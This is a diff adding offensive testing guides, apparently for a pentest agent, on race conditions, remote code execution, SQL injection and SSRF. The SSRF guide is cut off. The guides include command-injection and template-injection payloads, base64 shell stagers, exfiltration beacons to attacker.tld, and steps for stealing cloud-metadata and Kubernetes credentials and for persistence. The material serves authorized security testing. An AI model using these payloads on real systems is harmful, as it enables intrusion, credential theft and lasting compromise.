- Watch for optimistic concurrency markers: ETag/If-Match, version fields, updatedAt checks; test if they are enforced
|
||||
- Examine idempotency-key support: scope (path vs principal), TTL, and persistence (cache vs DB)
|
||||
- Map cross-service steps: when is state written vs published, and what retries/compensations exist
|
||||
</identify_race_windows>
|
||||
|
||||
<signals>
|
||||
- Sequential request fails but parallel succeeds
|
||||
- Duplicate rows, negative counters, over-issuance, or inconsistent aggregates
|
||||
- Distinct response shapes/timings for simultaneous vs sequential requests
|
||||
- Audit logs out of order; multiple 2xx for the same intent; missing or duplicate correlation IDs
|
||||
</signals>
|
||||
|
||||
<surface_map>
|
||||
- Payments: auth/capture/refund/void; credits/loyalty points; gift cards
|
||||
- Coupons/discounts: single-use codes, stacking checks, per-user limits
|
||||
- Quotas/limits: API usage, inventory reservations, seat counts, vote limits
|
||||
- Auth flows: password reset/OTP consumption, session minting, device trust
|
||||
- File/object storage: multi-part finalize, version writes, share-link generation
|
||||
- Background jobs: export/import create/finalize endpoints; job cancellation/approve
|
||||
- GraphQL mutations and batch operations; WebSocket actions
|
||||
</surface_map>
|
||||
</discovery_techniques>
|
||||
|
||||
<exploitation_techniques>
|
||||
<request_synchronization>
|
||||
- HTTP/2 multiplexing for tight concurrency; send many requests on warmed connections
|
||||
- Last-byte synchronization: hold requests open and release final byte simultaneously
|
||||
- Connection warming: pre-establish sessions, cookies, and TLS to remove jitter
|
||||
</request_synchronization>
|
||||
|
||||
<idempotency_and_dedup_bypass>
|
||||
- Reuse the same idempotency key across different principals/paths if scope is inadequate
|
||||
- Hit the endpoint before the idempotency store is written (cache-before-commit windows)
|
||||
- App-level dedup drops only the response while side effects (emails/credits) still occur
|
||||
</idempotency_and_dedup_bypass>
|
||||
|
||||
<atomicity_gaps>
|
||||
- Lost update: read-modify-write increments without atomic DB statements
|
||||
- Partial two-phase workflows: success committed before validation completes
|
||||
- Unique checks done outside a unique index/upsert: create duplicates under load
|
||||
</atomicity_gaps>
|
||||
|
||||
<cross_service_races>
|
||||
- Saga/compensation timing gaps: execute compensation without preventing the original success path
|
||||
- Eventual consistency windows: act in Service B before Service A's write is visible
|
||||
- Retry storms: duplicate side effects due to at-least-once delivery without idempotent consumers
|
||||
</cross_service_races>
|
||||
|
||||
<rate_limits_and_quotas>
|
||||
- Per-IP or per-connection enforcement: bypass with multiple IPs/sessions
|
||||
- Counter updates not atomic or sharded inconsistently; send bursts before counters propagate
|
||||
</rate_limits_and_quotas>
|
||||
</exploitation_techniques>
|
||||
|
||||
<advanced_techniques>
|
||||
<optimistic_concurrency_evasion>
|
||||
- Omit If-Match/ETag where optional; supply stale versions if server ignores them
|
||||
- Version fields accepted but not validated across all code paths (e.g., GraphQL vs REST)
|
||||
</optimistic_concurrency_evasion>
|
||||
|
||||
<database_isolation>
|
||||
- Exploit READ COMMITTED/REPEATABLE READ anomalies: phantoms, non-serializable sequences
|
||||
- Upsert races: use unique indexes with proper ON CONFLICT/UPSERT or exploit naive existence checks
|
||||
- Lock granularity issues: row vs table; application locks held only in-process
|
||||
</database_isolation>
|
||||
|
||||
<distributed_locks>
|
||||
- Redis locks without NX/EX or fencing tokens allow multiple winners
|
||||
- Locks stored in memory on a single node; bypass by hitting other nodes/regions
|
||||
</distributed_locks>
|
||||
</advanced_techniques>
|
||||
|
||||
<bypass_techniques>
|
||||
- Distribute across IPs, sessions, and user accounts to evade per-entity throttles
|
||||
- Switch methods/content-types/endpoints that trigger the same state change via different code paths
|
||||
- Intentionally trigger timeouts to provoke retries that cause duplicate side effects
|
||||
- Degrade the target (large payloads, slow endpoints) to widen race windows
|
||||
</bypass_techniques>
|
||||
|
||||
<special_contexts>
|
||||
<graphql>
|
||||
- Parallel mutations and batched operations may bypass per-mutation guards; ensure resolver-level idempotency and atomicity
|
||||
- Persisted queries and aliases can hide multiple state changes in one request
|
||||
</graphql>
|
||||
|
||||
<websocket>
|
||||
- Per-message authorization and idempotency must hold; concurrent emits can create duplicates if only the handshake is checked
|
||||
</websocket>
|
||||
|
||||
<files_and_storage>
|
||||
- Parallel finalize/complete on multi-part uploads can create duplicate or corrupted objects; re-use pre-signed URLs concurrently
|
||||
</files_and_storage>
|
||||
|
||||
<auth_flows>
|
||||
- Concurrent consumption of one-time tokens (reset codes, magic links) to mint multiple sessions; verify consume is atomic
|
||||
</auth_flows>
|
||||
</special_contexts>
|
||||
|
||||
<chaining_attacks>
|
||||
- Race + Business logic: violate invariants (double-refund, limit slicing)
|
||||
- Race + IDOR: modify or read others' resources before ownership checks complete
|
||||
- Race + CSRF: trigger parallel actions from a victim to amplify effects
|
||||
- Race + Caching: stale caches re-serve privileged states after concurrent changes
|
||||
</chaining_attacks>
|
||||
|
||||
<validation>
|
||||
1. Single request denied; N concurrent requests succeed where only 1 should.
|
||||
2. Durable state change proven (ledger entries, inventory counts, role/flag changes).
|
||||
3. Reproducible under controlled synchronization (HTTP/2, last-byte sync) across multiple runs.
|
||||
4. Evidence across channels (e.g., REST and GraphQL) if applicable.
|
||||
5. Include before/after state and exact request set used.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Truly idempotent operations with enforced ETag/version checks or unique constraints
|
||||
- Serializable transactions or correct advisory locks/queues
|
||||
- Visual-only glitches without durable state change
|
||||
- Rate limits that reject excess with atomic counters
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Financial loss (double spend, over-issuance of credits/refunds)
|
||||
- Policy/limit bypass (quotas, single-use tokens, seat counts)
|
||||
- Data integrity corruption and audit trail inconsistencies
|
||||
- Privilege or role errors due to concurrent updates
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Favor HTTP/2 with warmed connections; add last-byte sync for precision.
|
||||
2. Start small (N=5–20), then scale; too much noise can mask the window.
|
||||
3. Target read–modify–write code paths and endpoints with idempotency keys.
|
||||
4. Compare REST vs GraphQL vs WebSocket; protections often differ.
|
||||
5. Look for cross-service gaps (queues, jobs, webhooks) and retry semantics.
|
||||
6. Check unique constraints and upsert usage; avoid relying on pre-insert checks.
|
||||
7. Use correlation IDs and logs to prove concurrent interleaving.
|
||||
8. Widen windows by adding server load or slow backend dependencies.
|
||||
9. Validate on production-like latency; some races only appear under real load.
|
||||
10. Document minimal, repeatable request sets that demonstrate durable impact.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Concurrency safety is a property of every path that mutates state. If any path lacks atomicity, proper isolation, or idempotency, parallel requests will eventually break invariants.</remember>
|
||||
</race_conditions_guide>
|
||||
@@ -0,0 +1,154 @@
|
||||
<rce_vulnerability_guide>
|
||||
<title>REMOTE CODE EXECUTION (RCE)</title>
|
||||
|
||||
<critical>RCE leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed.</critical>
|
||||
|
||||
<scope>
|
||||
- OS command execution via wrappers (shells, system utilities, CLIs)
|
||||
- Dynamic evaluation: template engines, expression languages, eval/vm
|
||||
- Insecure deserialization and gadget chains across languages
|
||||
- Media/document toolchains (ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg)
|
||||
- SSRF→internal services that expose execution primitives (FastCGI, Redis)
|
||||
- Container/Kubernetes escalation from app RCE to node/cluster compromise
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Identify sinks: search for command wrappers, template rendering, deserialization, file converters, report generators, and plugin hooks.
|
||||
2. Establish a minimal oracle: timing, DNS/HTTP callbacks, or deterministic output diffs (length/ETag). Prefer OAST over noisy time sleeps.
|
||||
3. Confirm context: which user, working directory, PATH, shell, SELinux/AppArmor, containerization, read/write locations, outbound egress.
|
||||
4. Progress to durable control: file write, scheduled execution, service restart hooks; avoid loud reverse shells unless necessary.
|
||||
</methodology>
|
||||
|
||||
<detection_channels>
|
||||
<time_based>
|
||||
- Unix: ;sleep 1 | `sleep 1` || sleep 1; gate delays with short subcommands to reduce noise
|
||||
- Windows CMD/PowerShell: & timeout /t 2 & | Start-Sleep -s 2 | ping -n 2 127.0.0.1
|
||||
</time_based>
|
||||
|
||||
<oast>
|
||||
- DNS: {% raw %}nslookup $(whoami).x.attacker.tld{% endraw %} or {% raw %}curl http://$(id -u).x.attacker.tld{% endraw %}
|
||||
- HTTP beacon: {% raw %}curl https://attacker.tld/$(hostname){% endraw %} (or fetch to pre-signed URL)
|
||||
</oast>
|
||||
|
||||
<output_based>
|
||||
- Direct: ;id;uname -a;whoami
|
||||
- Encoded: ;(id;hostname)|base64; hex via xxd -p
|
||||
</output_based>
|
||||
</detection_channels>
|
||||
|
||||
<command_injection>
|
||||
<delimiters_and_operators>
|
||||
- ; | || & && `cmd` $(cmd) $() ${IFS} newline/tab; Windows: & | || ^
|
||||
</delimiters_and_operators>
|
||||
|
||||
<argument_injection>
|
||||
- Inject flags/filenames into CLI arguments (e.g., --output=/tmp/x; --config=); break out of quoted segments by alternating quotes and escapes
|
||||
- Environment expansion: $PATH, ${HOME}, command substitution; Windows %TEMP%, !VAR!, PowerShell $(...)
|
||||
</argument_injection>
|
||||
|
||||
<path_and_builtin_confusion>
|
||||
- Force absolute paths (/usr/bin/id) vs relying on PATH; prefer builtins or alternative tools (printf, getent) when id is filtered
|
||||
- Use sh -c or cmd /c wrappers to reach the shell even if binaries are filtered
|
||||
</path_and_builtin_confusion>
|
||||
|
||||
<evasion>
|
||||
- Whitespace/IFS: ${IFS}, $'\t', <; case/Unicode variations; mixed encodings; backslash line continuations
|
||||
- Token splitting: w'h'o'a'm'i, w"h"o"a"m"i; build via variables: a=i;b=d; $a$b
|
||||
- Base64/hex stagers: echo payload | base64 -d | sh; PowerShell: IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))
|
||||
</evasion>
|
||||
</command_injection>
|
||||
|
||||
<template_injection>
|
||||
- Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug
|
||||
- Move from expression to code execution primitives (read file, run command)
|
||||
- Minimal probes:
|
||||
{% raw %}
|
||||
Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}}
|
||||
Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
|
||||
Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
|
||||
EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>
|
||||
{% endraw %}
|
||||
</template_injection>
|
||||
|
||||
<deserialization_and_el>
|
||||
- Java: gadget chains via CommonsCollections/BeanUtils/Spring; tools: ysoserial; JNDI/LDAP chains (Log4Shell-style) when lookups are reachable
|
||||
- .NET: BinaryFormatter/DataContractSerializer/APIs that accept untrusted ViewState without MAC
|
||||
- PHP: unserialize() and PHAR metadata; autoloaded gadget chains in frameworks and plugins
|
||||
- Python/Ruby: pickle, yaml.load/unsafe_load, Marshal; seek auto-deserialization in message queues/caches
|
||||
- Expression languages: OGNL/SpEL/MVEL/EL; reach Runtime/ProcessBuilder/exec
|
||||
</deserialization_and_el>
|
||||
|
||||
<media_and_document_pipelines>
|
||||
- ImageMagick/GraphicsMagick: policy.xml may limit delegates; still test legacy vectors and complex file formats
|
||||
{% raw %}
|
||||
Example: push graphic-context\nfill 'url(https://x.tld/a"|id>/tmp/o")'\npop graphic-context
|
||||
{% endraw %}
|
||||
- Ghostscript: PostScript in PDFs/PS; {% raw %}%pipe%id{% endraw %} file operators
|
||||
- ExifTool: crafted metadata invoking external tools or library bugs (historical CVEs)
|
||||
- LaTeX: \write18/--shell-escape, \input piping; pandoc filters
|
||||
- ffmpeg: concat/protocol tricks mediated by compile-time flags
|
||||
</media_and_document_pipelines>
|
||||
|
||||
<ssrf_to_rce>
|
||||
- FastCGI: gopher:// to php-fpm (build FPM records to invoke system/exec via vulnerable scripts)
|
||||
- Redis: gopher:// write cron/authorized_keys or webroot if filesystem exposed; or module load when allowed
|
||||
- Admin interfaces: Jenkins script console, Spark UI, Jupyter kernels reachable internally
|
||||
</ssrf_to_rce>
|
||||
|
||||
<container_and_kubernetes>
|
||||
<docker>
|
||||
- From app RCE, inspect /.dockerenv, /proc/1/cgroup; enumerate mounts and capabilities (capsh --print)
|
||||
- Abuses: mounted docker.sock, hostPath mounts, privileged containers; write to /proc/sys/kernel/core_pattern or mount host with --privileged
|
||||
</docker>
|
||||
|
||||
<kubernetes>
|
||||
- Steal service account token from /var/run/secrets/kubernetes.io/serviceaccount; query API for pods/secrets; enumerate RBAC
|
||||
- Talk to kubelet on 10250/10255; exec into pods; list/attach if anonymous/weak auth
|
||||
- Escalate via privileged pods, hostPath mounts, or daemonsets if permissions allow
|
||||
</kubernetes>
|
||||
</container_and_kubernetes>
|
||||
|
||||
<post_exploitation>
|
||||
- Privilege escalation: sudo -l; SUID binaries; capabilities (getcap -r / 2>/dev/null)
|
||||
- Persistence: cron/systemd/user services; web shell behind auth; plugin hooks; supply chain in CI/CD
|
||||
- Lateral movement: pivot with SSH keys, cloud metadata credentials, internal service tokens
|
||||
</post_exploitation>
|
||||
|
||||
<waf_and_filter_bypasses>
|
||||
- Encoding differentials (URL, Unicode normalization), comment insertion, mixed case, request smuggling to reach alternate parsers
|
||||
- Absolute paths and alternate binaries (busybox, sh, env); Windows variations (PowerShell vs CMD), constrained language bypasses
|
||||
</waf_and_filter_bypasses>
|
||||
|
||||
<validation>
|
||||
1. Provide a minimal, reliable oracle (DNS/HTTP/timing) proving code execution.
|
||||
2. Show command context (uid, gid, cwd, env) and controlled output.
|
||||
3. Demonstrate persistence or file write under application constraints.
|
||||
4. If containerized, prove boundary crossing attempts (host files, kube APIs) and whether they succeed.
|
||||
5. Keep PoCs minimal and reproducible across runs and transports.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Only crashes or timeouts without controlled behavior
|
||||
- Filtered execution of a limited command subset with no attacker-controlled args
|
||||
- Sandboxed interpreters executing in a restricted VM with no IO or process spawn
|
||||
- Simulated outputs not derived from executed commands
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Remote system control under application user; potential privilege escalation to root
|
||||
- Data theft, encryption/signing key compromise, supply-chain insertion, lateral movement
|
||||
- Cluster compromise when combined with container/Kubernetes misconfigurations
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Prefer OAST oracles; avoid long sleeps—short gated delays reduce noise.
|
||||
2. When command injection is weak, pivot to file write or deserialization/SSTI paths for stable control.
|
||||
3. Treat converters/renderers as first-class sinks; many run out-of-process with powerful delegates.
|
||||
4. For Java/.NET, enumerate classpaths/assemblies and known gadgets; verify with out-of-band payloads.
|
||||
5. Confirm environment: PATH, shell, umask, SELinux/AppArmor, container caps; it informs payload choice.
|
||||
6. Keep payloads portable (POSIX/BusyBox/PowerShell) and minimize dependencies.
|
||||
7. Document the smallest exploit chain that proves durable impact; avoid unnecessary shell drops.
|
||||
</pro_tips>
|
||||
|
||||
<remember>RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path.</remember>
|
||||
</rce_vulnerability_guide>
|
||||
@@ -0,0 +1,151 @@
|
||||
<sql_injection_guide>
|
||||
<title>SQL INJECTION</title>
|
||||
|
||||
<critical>SQLi remains one of the most durable and impactful classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.</critical>
|
||||
|
||||
<scope>
|
||||
- Classic relational DBMS: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
|
||||
- Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins
|
||||
- Integration paths: ORMs, query builders, stored procedures, search servers, reporting/exporters
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Identify query shape: SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET, and whether user input influences identifiers vs values.
|
||||
2. Confirm injection class: reflective errors, boolean diffs, timing, or out-of-band callbacks. Choose the quietest reliable oracle.
|
||||
3. Establish a minimal extraction channel: UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS.
|
||||
4. Pivot to metadata and high-value tables, then target impactful write primitives (auth bypass, role changes, filesystem access) if feasible.
|
||||
</methodology>
|
||||
|
||||
<injection_surfaces>
|
||||
- Path/query/body/header/cookie; mixed encodings (URL, JSON, XML, multipart)
|
||||
- Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements)
|
||||
- Query builders: whereRaw/orderByRaw, string templates in ORMs; JSON coercion or array containment operators
|
||||
- Batch/bulk endpoints and report generators that embed filters directly
|
||||
</injection_surfaces>
|
||||
|
||||
<detection_channels>
|
||||
- Error-based: provoke type/constraint/parser errors revealing stack/version/paths
|
||||
- Boolean-based: pair requests differing only in predicate truth; diff status/body/length/ETag
|
||||
- Time-based: SLEEP/pg_sleep/WAITFOR; use subselect gating to avoid global latency noise
|
||||
- Out-of-band (OAST): DNS/HTTP callbacks via DB-specific primitives
|
||||
</detection_channels>
|
||||
|
||||
<union_visibility>
|
||||
- Determine column count and types via ORDER BY n and UNION SELECT null,...
|
||||
- Align types with CAST/CONVERT; coerce to text/json for rendering
|
||||
- When UNION is filtered, consider error-based or blind channels
|
||||
</union_visibility>
|
||||
|
||||
<dbms_primitives>
|
||||
<mysql>
|
||||
- Version/user/db: @@version, database(), user(), current_user()
|
||||
- Error-based: extractvalue()/updatexml() (older), JSON functions for error shaping
|
||||
- File IO: LOAD_FILE(), SELECT ... INTO DUMPFILE/OUTFILE (requires FILE privilege, secure_file_priv)
|
||||
- OOB/DNS: LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))
|
||||
- Time: SLEEP(n), BENCHMARK
|
||||
- JSON: JSON_EXTRACT/JSON_SEARCH with crafted paths; GIS funcs sometimes leak
|
||||
</mysql>
|
||||
|
||||
<postgresql>
|
||||
- Version/user/db: version(), current_user, current_database()
|
||||
- Error-based: raise exception via unsupported casts or division by zero; xpath() errors in xml2
|
||||
- OOB: COPY (program ...) or dblink/foreign data wrappers (when enabled); http extensions
|
||||
- Time: pg_sleep(n)
|
||||
- Files: COPY table TO/FROM '/path' (requires superuser), lo_import/lo_export
|
||||
- JSON/JSONB: operators ->, ->>, @>, ?| with lateral/CTE for blind extraction
|
||||
</postgresql>
|
||||
|
||||
<mssql>
|
||||
- Version/db/user: @@version, db_name(), system_user, user_name()
|
||||
- OOB/DNS: xp_dirtree, xp_fileexist; HTTP via OLE automation (sp_OACreate) if enabled
|
||||
- Exec: xp_cmdshell (often disabled), OPENROWSET/OPENDATASOURCE
|
||||
- Time: WAITFOR DELAY '0:0:5'; heavy functions cause measurable delays
|
||||
- Error-based: convert/parse, divide by zero, FOR XML PATH leaks
|
||||
</mssql>
|
||||
|
||||
<oracle>
|
||||
- Version/db/user: banner from v$version, ora_database_name, user
|
||||
- OOB: UTL_HTTP/DBMS_LDAP/UTL_INADDR/HTTPURITYPE (permissions dependent)
|
||||
- Time: dbms_lock.sleep(n)
|
||||
- Error-based: to_number/to_date conversions, XMLType
|
||||
- File: UTL_FILE with directory objects (privileged)
|
||||
</oracle>
|
||||
</dbms_primitives>
|
||||
|
||||
<blind_extraction>
|
||||
- Branch on single-bit predicates using SUBSTRING/ASCII, LEFT/RIGHT, or JSON/array operators
|
||||
- Binary search on character space for fewer requests; encode outputs (hex/base64) to normalize
|
||||
- Gate delays inside subqueries to reduce noise: AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)
|
||||
</blind_extraction>
|
||||
|
||||
<out_of_band>
|
||||
- Prefer OAST to minimize noise and bypass strict response paths; embed data in DNS labels or HTTP query params
|
||||
- MSSQL: xp_dirtree \\\\<data>.attacker.tld\\a; Oracle: UTL_HTTP.REQUEST('http://<data>.attacker'); MySQL: LOAD_FILE with UNC
|
||||
</out_of_band>
|
||||
|
||||
<write_primitives>
|
||||
- Auth bypass: inject OR-based tautologies or subselects into login checks
|
||||
- Privilege changes: update role/plan/feature flags when UPDATE is injectable
|
||||
- File write: INTO OUTFILE/DUMPFILE, COPY TO, xp_cmdshell redirection; aim for webroot only when feasible and legal
|
||||
- Job/proc abuse: schedule tasks or create procedures/functions when permissions allow
|
||||
</write_primitives>
|
||||
|
||||
<waf_and_parser_bypasses>
|
||||
- Whitespace/spacing: /**/, /**/!00000, comments, newlines, tabs, 0xe3 0x80 0x80 (ideographic space)
|
||||
- Keyword splitting/concatenation: UN/**/ION, U%4eION, backticks/quotes, case folding
|
||||
- Numeric tricks: scientific notation, signed/unsigned, hex (0x61646d696e)
|
||||
- Encodings: double URL encoding, mixed Unicode normalizations (NFKC/NFD), char()/CONCAT_ws to build tokens
|
||||
- Clause relocation: subselects, derived tables, CTEs (WITH), lateral joins to hide payload shape
|
||||
</waf_and_parser_bypasses>
|
||||
|
||||
<orm_and_query_builders>
|
||||
- Dangerous APIs: whereRaw/orderByRaw, string interpolation into LIKE/IN/ORDER clauses
|
||||
- Injections via identifier quoting (table/column names) when user input is interpolated into identifiers
|
||||
- JSON containment operators exposed by ORMs (e.g., @> in PostgreSQL) with raw fragments
|
||||
- Parameter mismatch: partial parameterization where operators or lists remain unbound (IN (...))
|
||||
</orm_and_query_builders>
|
||||
|
||||
<uncommon_contexts>
|
||||
- ORDER BY/GROUP BY/HAVING with CASE WHEN for boolean channels
|
||||
- LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape
|
||||
- Full-text/search helpers: MATCH AGAINST, to_tsvector/to_tsquery with payload mixing
|
||||
- XML/JSON functions: error generation via malformed documents/paths
|
||||
</uncommon_contexts>
|
||||
|
||||
<validation>
|
||||
1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates.
|
||||
2. Extract verifiable metadata (version, current user, database name) using the established channel.
|
||||
3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope.
|
||||
4. Provide reproducible requests that differ only in the injected fragment.
|
||||
5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant).
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Generic errors unrelated to SQL parsing or constraints
|
||||
- Static response sizes due to templating rather than predicate truth
|
||||
- Artificial delays from network/CPU unrelated to injected function calls
|
||||
- Parameterized queries with no string concatenation, verified by code review
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Direct data exfiltration and privacy/regulatory exposure
|
||||
- Authentication and authorization bypass via manipulated predicates
|
||||
- Server-side file access or command execution (platform/privilege dependent)
|
||||
- Persistent supply-chain impact via modified data, jobs, or procedures
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Pick the quietest reliable oracle first; avoid noisy long sleeps.
|
||||
2. Normalize responses (length/ETag/digest) to reduce variance when diffing.
|
||||
3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise.
|
||||
4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available.
|
||||
5. Treat ORMs as thin wrappers: raw fragments often slip through; audit whereRaw/orderByRaw.
|
||||
6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly.
|
||||
7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels.
|
||||
8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types.
|
||||
9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly.
|
||||
10. Document exact query shapes; defenses must match how the query is constructed, not assumptions.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.</remember>
|
||||
</sql_injection_guide>
|
||||
@@ -0,0 +1,135 @@
|
||||
<ssrf_vulnerability_guide>
|
||||
<title>SERVER-SIDE REQUEST FORGERY (SSRF)</title>
|
||||
|
||||
<critical>SSRF enables the server to reach networks and services the attacker cannot. Focus on cloud metadata endpoints, service meshes, Kubernetes, and protocol abuse to turn a single fetch into credentials, lateral movement, and sometimes RCE.</critical>
|
||||
|
||||
<scope>
|
||||
- Outbound HTTP/HTTPS fetchers (proxies, previewers, importers, webhook testers)
|
||||
- Non-HTTP protocols via URL handlers (gopher, dict, file, ftp, smb wrappers)
|
||||
- Service-to-service hops through gateways and sidecars (envoy/nginx)
|
||||
- Cloud and platform metadata endpoints, instance services, and control planes
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Identify every user-influenced URL/host/path across web/mobile/API and background jobs. Include headers that trigger server-side fetches (link previews, analytics, crawler hooks).
|
||||
2. Establish a quiet oracle first (OAST DNS/HTTP callbacks). Then pivot to internal addressing (loopback, RFC1918, link-local, IPv6, hostnames) and protocol variations.
|
||||
3. Enumerate redirect behavior, header propagation, and method control (GET-only vs arbitrary). Test parser differentials across frameworks, CDNs, and language libraries.
|
||||
4. Target high-value services (metadata, kubelet, Redis, FastCGI, Docker, Vault, internal admin panels). Chain to write/exec primitives if possible.
|
||||
</methodology>
|
||||
|
||||
<injection_surfaces>
|
||||
- Direct URL params: url=, link=, fetch=, src=, webhook=, avatar=, image=
|
||||
- Indirect sources: Open Graph/link previews, PDF/image renderers, server-side analytics (Referer trackers), import/export jobs, webhooks/callback verifiers
|
||||
- Protocol-translating services: PDF via wkhtmltopdf/Chrome headless, image pipelines, document parsers, SSO validators, archive expanders
|
||||
- Less obvious: GraphQL resolvers that fetch by URL, background crawlers, repository/package managers (git, npm, pip), calendar (ICS) fetchers
|
||||
</injection_surfaces>
|
||||
|
||||
<cloud_and_platforms>
|
||||
<aws>
|
||||
- IMDSv1: http://169.254.169.254/latest/meta-data/ → {% raw %}/iam/security-credentials/{role}{% endraw %}, {% raw %}/user-data{% endraw %}
|
||||
- IMDSv2: requires token via PUT {% raw %}/latest/api/token{% endraw %} with header {% raw %}X-aws-ec2-metadata-token-ttl-seconds{% endraw %}, then include {% raw %}X-aws-ec2-metadata-token{% endraw %} on subsequent GETs. If the sink cannot set headers or methods, fallback to other targets or seek intermediaries that can
|
||||
- ECS/EKS task credentials: {% raw %}http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI{% endraw %}
|
||||
</aws>
|
||||
|
||||
<gcp>
|
||||
- Endpoint: http://metadata.google.internal/computeMetadata/v1/
|
||||
- Required header: {% raw %}Metadata-Flavor: Google{% endraw %}
|
||||
- Target: {% raw %}/instance/service-accounts/default/token{% endraw %}
|
||||
</gcp>
|
||||
|
||||
<azure>
|
||||
- Endpoint: http://169.254.169.254/metadata/instance?api-version=2021-02-01
|
||||
- Required header: {% raw %}Metadata: true{% endraw %}
|
||||
- MSI OAuth: {% raw %}/metadata/identity/oauth2/token{% endraw %}
|
||||
</azure>
|
||||
|
||||
<kubernetes>
|
||||
- Kubelet: 10250 (authenticated) and 10255 (deprecated read-only). Probe {% raw %}/pods{% endraw %}, {% raw %}/metrics{% endraw %}, exec/attach endpoints
|
||||
- API server: https://kubernetes.default.svc/. Authorization often needs the service account token; SSRF that propagates headers/cookies may reuse them
|
||||
- Service discovery: attempt cluster DNS names (svc.cluster.local) and default services (kube-dns, metrics-server)
|
||||
</kubernetes>
|
||||
</cloud_and_platforms>
|
||||
|
||||
<internal_targets>
|
||||
- Docker API: http://localhost:2375/v1.24/containers/json (no TLS variants often internal-only)
|
||||
- Redis/Memcached: dict://localhost:11211/stat, gopher payloads to Redis on 6379
|
||||
- Elasticsearch/OpenSearch: http://localhost:9200/_cat/indices
|
||||
- Message brokers/admin UIs: RabbitMQ, Kafka REST, Celery/Flower, Jenkins crumb APIs
|
||||
- FastCGI/PHP-FPM: gopher://localhost:9000/ (craft records for file write/exec when app routes to FPM)
|
||||
</internal_targets>
|
||||
|
||||
<protocol_exploitation>
|
||||
<gopher>
|
||||
- Speak raw text protocols (Redis/SMTP/IMAP/HTTP/FCGI). Use to craft multi-line payloads, schedule cron via Redis, or build FastCGI requests
|
||||
</gopher>
|
||||
|
||||
<file_and_wrappers>
|
||||
- file:///etc/passwd, file:///proc/self/environ when libraries allow file handlers
|
||||
- jar:, netdoc:, smb:// and language-specific wrappers (php://, expect://) where enabled
|
||||
</file_and_wrappers>
|
||||
|
||||
<parser_and_filter_bypasses>
|
||||
<address_variants>
|
||||
- Loopback: 127.0.0.1, 127.1, 2130706433, 0x7f000001, ::1, [::ffff:127.0.0.1]
|
||||
- RFC1918/link-local: 10/8, 172.16/12, 192.168/16, 169.254/16; test IPv6-mapped and mixed-notation forms
|
||||
</address_variants>
|
||||
|
||||
<url_confusion>
|
||||
- Userinfo and fragments: http://internal@attacker/ or http://attacker#@internal/
|
||||
- Scheme-less/relative forms the server might complete internally: //169.254.169.254/
|
||||
- Trailing dots and mixed case: internal. vs INTERNAL, Unicode dot lookalikes
|
||||
</url_confusion>
|
||||
|
||||
<redirect_behavior>
|
||||
- Allowlist only applied pre-redirect: 302 from attacker → internal host. Test multi-hop and protocol switches (http→file/gopher via custom clients)
|
||||
</redirect_behavior>
|
||||
|
||||
<header_and_method_control>
|
||||
- Some sinks reflect or allow CRLF-injection into the request line/headers; if arbitrary headers/methods are possible, IMDSv2, GCP, and Azure become reachable
|
||||
</header_and_method_control>
|
||||
|
||||
<blind_and_mapping>
|
||||
- Use OAST (DNS/HTTP) to confirm egress. Derive internal reachability from timing, response size, TLS errors, and ETag differences
|
||||
- Build a port map by binary searching timeouts (short connect/read timeouts yield cleaner diffs)
|
||||
</blind_and_mapping>
|
||||
|
||||
<chaining>
|
||||
- SSRF → Metadata creds → cloud API access (list buckets, read secrets)
|
||||
- SSRF → Redis/FCGI/Docker → file write/command execution → shell
|
||||
- SSRF → Kubelet/API → pod list/logs → token/secret discovery → lateral
|
||||
</chaining>
|
||||
|
